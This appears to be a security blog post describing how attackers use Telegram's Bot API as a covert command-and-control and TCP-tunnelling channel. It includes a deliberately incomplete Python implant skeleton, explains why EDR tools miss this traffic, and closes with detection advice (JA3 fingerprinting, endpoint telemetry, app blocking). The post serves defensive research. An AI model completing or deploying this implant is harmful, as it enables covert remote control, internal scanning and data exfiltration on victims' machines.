Logo
Overview

Bypassing EDRs with Telegram as C2 platform

January 8, 2026
13 min read
index

Introduction

Warning

Disclaimer: The code and techniques discussed below are for educational and defensive research purposes only. This technique won’t permit you to hack your neighbor’s Wi-Fi.

In cybersecurity the line between “malicious” and “legitimate” traffic becomes harder and harder to differentiate. Those days a computer tried to talk to a weird IP address in a “not-friendly” country on port 4444 are dead.

Today, threat actors got more sophistication, they don’t build their own infrastructure, they are living off the land. And one of the scariest evolutions I’ve seen recently is TCP Tunneling over API Messages.

In this deep dive, I’m going to tear apart this technique. Looking at how attackers can turn a harmless chat app like Telegram into a covert C2 channel or a TCP proxy. We’ll build a working proof-of-concept, look at the code, and most importantly, how to spot it when our EDR says everything is fine.


Part 1: The Evolution

To understand how this works so well, we have to understand the headache defenders are dealing with right now.

The disappearing of ‘simple’ IP Addresses

SOC analysts lived by “Indicator Blocking”. A ‘bad guy’ connects to 103.20.x.x we block it.

  • Attackers evolve: They start using Domain Generation Algorithms (DGA) and Fast Flux.
  • Defenders evolve: We start using Machine Learning and Passive DNS.

Then :

  • Attackers evolve: started hiding behind CDNs (Cloudflare, Amazon).
  • Defenders evolve: started stripping SSL to peek inside.

It’s been an endless escalation.

Here, our “C2 Server” isn’t a random server anymore. It’s just a Chat ID in the cloud. We could posts a message, and the cloud holds it. Our malware picks it up. The attacker and the victim never actually touch each other directly. Thats a nightmare for IT teams, cuz when they looks at the network logs, they only see a connection between the Infected Computer and Telegram’s Servers. They do not see the connection between the Attacker and Telegram:

Terminal window
Victim's View: Victim IP <--> Telegram Cloud
Attacker's View: Attacker IP <--> Telegram Cloud

There is no direct TCP packet linking the victim to the attacker. Telegram is the “man in the middle,” and they hold the logs of who is on the other side.

What the IT Team Can Find

If the IT team captures the malware script or decrypts the SSL traffic, they will find two critical pieces of information:

  • The Bot Token: This allows them to see the Bot’s name and take control of it. However, the bot is just a tool it doesn’t tell you who made it.
  • The Chat ID: This is the specific chat the bot is talking to (e.g., 123456789).

The “Chat ID”, potentially the Dead End

Finding the CHAT_ID is the limit of technical investigation for most corporate IT teams.

  • If the attacker has good OPSEC: That Chat ID belongs to a burner account created with a temporary SIM card. It leads nowhere.
  • If the attacker has bad OPSEC: They might have used their personal Telegram account.

Ultimately, the only entity that knows the IP address of the person controlling the bot is Telegram. To get that IP, the company would need to file a police report and get a court order/warrant sent to Telegram.

Telegram has a reputation for being historically non-responsive or very slow to respond to such requests unless the crime involves terrorism or grave physical harm. For a corporate data breach, obtaining logs is extremely difficult.

Polling vs. Tunneling

Most ‘script-kiddie’ Telegram bots use Polling:

Terminal window
Bot: "Any commands?"
Telegram: "No."
Bot: "Any commands?"
Telegram: "No."
Bot: "Any commands?"
Telegram: "Yes, run whoami."

This is slow. But we can do better.

Our malware will support two modes:

  1. Command Execution to Send a command and get the output
  2. TCP Tunneling so we can Proxy raw TCP connections through Telegram to reach internal services
Note

While TCP tunneling through Telegram is technically possible, the latency makes real-time protocols like RDP or VNC sooo unusable. But, it’s perfect for:

  • Accessing internal web applications
  • Port scanning internal networks
  • Exfiltrating data
  • Reaching services behind firewalls

Part 2: Engineering the “Invisible Pipe”

Note

The Constraints:

  • Message Size: Telegram limits messages to 4096 characters. For larger data, we use Document Uploads (up to 50MB via Bot API).
  • Rate Limits: If we spam Telegram too hard, we’ll get a 429 Too Many Requests.
  • Latency: A round-trip dialog takes 500ms to 2000ms.

Commands System

To facilitate managability, our bot gonna use natural commands like:

CommandExampleDescription
> command> whoamiExecute a shell command
open name to host:portopen web to 192.168.1.10:80Open a TCP tunnel
send name: datasend web: GET / HTTP/1.1\nHost: localhost\n\nSend data through tunnel
close nameclose webClose the tunnel
GET urlGET http://internal-app/apiQuick HTTP request shortcut
streamsstreamsList open connections

This makes operating the bot extremely easy, just like chatting with someone.


Part 3: The PoC

Here’s we get technical. If I write this using standard Python requests, it will be extremely slow. To handle multiple streams and commands efficiently, I need Asynchronous I/O. We need to be polling for commands while simultaneously handling TCP streams if any.

We’ll use aiohttp for the web stuff and asyncio to splice the sockets.

The “TeleTunnel” bot

teletunnel.py
import asyncio
"""
This is the architecture, not runnable code.
Critical implementation details won't be included...
Architecture Overview:
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Telegram │────▶│ TunnelMgr │────▶│ Internal │
│ Messages │◀────│ (asyncio) │◀────│ Services │
└─────────────┘ └─────────────┘ └─────────────┘
▲ │
│ Two processes run concurrently:
│ • poller() that receives commands from Telegram
│ • sender() that queues responses back to Telegram
└── The master Haackxer types commands in chat
"""
class TunnelManager:
"""
Here is the core async engine who maintains:
-dict of open TCP connections
-outbound message queue to Telegram
-client session
"""
def __init__(self):
self.streams = {}
self.queue = asyncio.Queue()
self.session = None
async def start(self):
"""
Tis function gonna creates HTTP session and runs both
processes concurrently using asyncio.gather()
poller() and sender() run in parallel, allowing us to receive commands while still sending responses.
"""
# async with aiohttp.ClientSession() as session:
# self.session = session
# await asyncio.gather(self.poller(), self.sender())
async def poller(self):
"""
Telegram's getUpdates API supports
hanging connections which means
we get near-instant command delivery without flooding
their servers
"""
pass
async def sender(self):
"""
Pulls messages from self.queue and
dispatches to appropriate Telegram endpoint.
For large responses we us files to bypass Telegram's message size limits.
"""
pass
async def handle_message(self, msg):
"""
Parse commands
The regex patterns below makes operating the bot feel like chatting.
"""
import re
msg = msg.strip()
if msg.startswith(">"):
smth = msg[1:].strip()
# If you understood you'll now what will go there... lol
return
if m := re.match(r"open\s+(\w+)\s+to\s+([\w.-]+:\d+)", msg, re.I):
await self.open_stream(m.group(1), m.group(2))
return
if m := re.match(r"send\s+(\w+):\s*(.+)", msg, re.I | re.S):
stream_id, payload = m.groups()
payload = payload.replace(r"\n", "\n")
# Write payload.encode() to self.streams[stream_id].writer
return
if m := re.match(r"close\s+(\w+)", msg, re.I):
# Close writer, remove from self.streams
return
async def open_stream(self, stream_id: str, target: str):
"""
no magic here sadly. I just spawn socket_reader() as a background
task so we can
receive data while it receive more commands.
"""
host, port = target.rsplit(":", 1)
reader, writer = await asyncio.open_connection(host, int(port))
self.streams[stream_id] = (reader, writer)
asyncio.create_task(self._socket_reader(stream_id, reader))
async def _socket_reader(self, stream_id: str, reader):
"""
Background processe that reads from TCP socket and
forwards data to Telegram.
(I initially used 0.5s timeout and responses kept getting
truncated. Some internal apps are just slow. 2.0s works.)
"""
buffer = b""
got_first_byte = False
while True:
try:
if not got_first_byte:
# Wait forever for server to start responding
chunk = await reader.read(4096)
else:
chunk = await asyncio.wait_for(
reader.read(4096),
timeout=2.0
)
except asyncio.TimeoutError:
break
if not chunk:
break
buffer += chunk
got_first_byte = True
# Now we forward `buffer` to Telegram
# This is where we call self.queue.put()
# or just use sendDocument for large payloads
# if __name__ == "__main__":
# asyncio.run(TunnelManager().start())
Important

I wanted the readers to understand how this works, not copy-paste it. The architecture and algorithms above are real the missing pieces are the Telegram API thinks (which is well-documented btw) and some parts which I’m not handing out for responsibility.

If you can fill in the gaps, you already understand the technique well enough that you don’t need my code anyway.

Testing the bot

Once the script is running, I can control it directly via Telegram.

Bot response showing command execution output The bot returns the result directly in the Telegram chat.

TCP Tunneling:

Bot response showing command execution output Here we see the bot tunnels local http service throught Telegram message, letting us interact with it remotely. We can use the same system for other services like SQL etc…

Bot takes screenshots The bot can take screenshots and send it automaticly to telegram without saving anything on the PC.

Anything under 8KB just shows up as text in the chat, but larger responses get sent as file attachments with the filename preserved. Binary data gets a .bin extension so you know what you’re dealing with.


Part 4: Why most EDR are blind to this technique

1. The “Deep Inspection” Performance Cost

As we saw in Part 1, the connection looks valid. But the EDR’s failure here is often a calculation of resources, not just trust.

Deep packet inspection is expensive. If an appliance tried to decrypt and inspect the full JSON payload of every packet going to api.telegram.org or google.com, the network throughput would go down.

So many tools just check the SNI (Server Name Indication). If the destination is “Telegram”, they check their if it’s on a whitelist, and wave it through without looking inside the encryption tunnel. This isn’t just hiding in plain sight but exploiting the defenses need for network performance.

2. LSupply Chain Trust (LOLBins)

The EDR’s logic model is often based on the file running the connection. If I try to run malware.exe, the file hash is blocked.

But here, the process making the connection is likely python.exe. This is a Signed Binary. The OS trusts it, the EDR trusts it (or may trust it idk).

The chain of trust looks like this to the defender:

Process: python.exe (Signed, Trusted) Action: Opens HTTPS connection (Standard behavior) Destination: telegram.org (Trusted Domain)

There is no “malware” file to scan. And if we ignore the fact that python.exe is running a script downloaded from the internet, the EDR has no reason to flag this activity.

3. It Doesn’t Look Like a Bot

Majority C2 implants are predictable. They beacon home every 60 seconds generally. Security tools learned to spot this pattern years ago.

But here It’s jittery. The getUpdates call hangs open for up to 60 seconds waiting for messages. When I type a command, there’s a burst of traffic. When I stop, it goes silent. The timing is irregular, unpredictable. Almost humans !

Because from the network’s perspective, it literally looks like someone chatting on Telegram. Which, and technically, it is… lol.


Part 5: The Defense

Black Hat off. Let’s switch sides. We’re the defender now, and someone on our network is running this exact tool. How do we catch them?

1. Block What You Don’t Need

Let’s start with the obvious one that nobody does: do your employees/Hosts actually need Telegram ?

Most companies allow Telegram, Discord, Slack, etc. because “someone might need it.” But if your SQL server is suddenly talking to api.telegram.org… thats not normal. (seriously, if your database server makes Telegram calls, you’ve got bigger problems than C2 detection)

Create a whitelist of approved communication platforms per department. If the marketing team uses Slack, block Discord and Telegram at the proxy level. It’s not easy, but it eliminates the attack surface entirely.

2. JA3 Fingerprinting

Every TLS client has a unique “fingerprint” based on how it initiates the SSL handshake. This is called a JA3 hash. Chrome, Firefox, Python’s requests, aiohttp, curl, they all have different signatures.

So if you see a connection to api.telegram.org with a JA3 hash that matches Python that’s a red flag. No legitimate service should be using Python to talk to Telegram…

But, because there is always a but, JA3 is not a reliable at 100%. Sophisticated attackers can spoof JA3 fingerprints using tools like ja3transport (Go) or custom TLS configurations. A well-funded threat actor can make their Python script look like Chrome to your network TAP.

we can use JA3 as one signal among many, not as a primary detection mechanism. It catches lazy attackers, but don’t bet your security on it alone.

3. Endpoint Telemetry

The best place to catch this is on the endpoint itself.

Your EDR should be able to answer:

  • What process is making connections to api.telegram.org ?
  • Is it telegram.exe (legitimate) or python.exe (suspicious) ?
  • If python, What script is it running ? Where did it come from ?

If python.exe is making sustained HTTPS connections to Telegram, and that Python process was spawned from a Word macro or a suspicious download… we’ve got our answer.

The challenge is that most EDRs log this data but don’t alert on it by default. we’ll probably need custom detection rules.

But, yet again, if an attacker is already on your network, running a Python script and access your shell through telegram, you’ve already lost the initial battle. The malware got in. The question is how fast you can detect the post-exploitation activity.

None of these defenses are perfect:

  • JA3 can be spoofed with effort
  • Behavioral baselines take months to build properly
  • Blocking apps creates political friction
  • Endpoint telemetry requires custom rules most teams don’t write

But layered together they make life significantly harder for attackers. And sometimes, “harder” is enough to make them move on to an easier target.


A Note on Responsible Disclosure

I debated whether to include working code in this post. The techniques described here aren’t new, they’ve been used in the wild for years, and the underlying concepts are well-documented in threat intelligence reports.

My goal is to share the little researche i do, understand exactly how these attacks work so i’ll be able to build better detections.


Future Work

I’ve also been thinking about whether you could use Telegram’s edit message API to update responses in-place instead of sending multiple messages, but haven’t tested it yet.


Conclusion

This is scary because it turns the internet’s trust model against itself. Attackers aren’t breaking down the walls anymore they’re walking through the front door using a guest pass.

But they aren’t ghosts. They leave footprints… there are signals that SSL can’t hide.


References